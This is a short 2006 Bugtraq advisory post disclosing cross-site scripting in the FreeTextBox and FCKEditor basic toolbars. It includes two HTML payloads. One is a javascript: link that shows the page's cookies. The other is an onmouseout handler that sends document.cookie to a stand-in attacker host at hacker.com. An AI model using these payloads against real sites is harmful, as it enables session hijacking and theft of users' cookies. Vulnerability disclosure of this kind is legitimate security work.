Bugtraq mailing list archives

XSS in FreeTextBox and FCKEditor Basic Toolbar Selection

From: bonsite () hotmail com
Date: 14 May 2006 17:56:21 -0000

More information about it on :
http://www.newffr.com/viewtopic.php?forum=26&topic=11683
(in french)

If you don't speak french :
create a web page and write into :
------------------
<html><body><a href="javascript: alert('Cookie:\n'+document.cookie+'\nHave Fun !')">Click here</a></body></html>
------------------

Or :

------------------
<a href="#" onmouseout="javascript: document.location='http://www.hacker.com/get_cookie.php?'+document.cookie";>Link</a>
------------------

Current thread:

XSS in FreeTextBox and FCKEditor Basic Toolbar Selection bonsite (May 15)